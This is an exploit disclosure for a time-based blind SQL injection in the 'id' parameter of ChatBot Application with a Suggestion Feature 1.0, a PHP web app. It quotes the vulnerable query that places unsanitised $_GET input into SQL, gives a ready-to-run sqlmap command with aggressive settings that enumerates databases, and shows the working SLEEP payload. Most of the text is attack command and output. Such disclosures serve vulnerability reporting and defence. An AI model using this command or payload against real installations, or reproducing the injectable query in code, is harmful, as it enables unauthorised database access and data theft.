ChatBot Application With A Suggestion Feature 1.0 SQL Injection

`# Exploit Title: ChatBot Application with a Suggestion Feature 1.0 - 'id' Blind SQL Injection  
# Date: 05/05/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html  
# Version: 1.0  
# Tested on: XAMPP, Linux  
  
  
# Vulnerable Code  
  
line 4 in file "/simple_chat_bot/admin/responses/view_response.php"  
  
$qry = $conn->query("SELECT * from `response_list` where id = '{$_GET['id']}' ");  
  
# Sqlmap command:  
  
sqlmap -u 'http://localhost/simple_chat_bot/admin/?id=0&page=responses/view_response' -p id --level=5 --risk=3 --dbs --random-agent --eta  
  
# Output:  
  
Parameter: id (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=0' AND (SELECT 9931 FROM (SELECT(SLEEP(5)))Etug)-- bfDF&page=responses/view_response  
`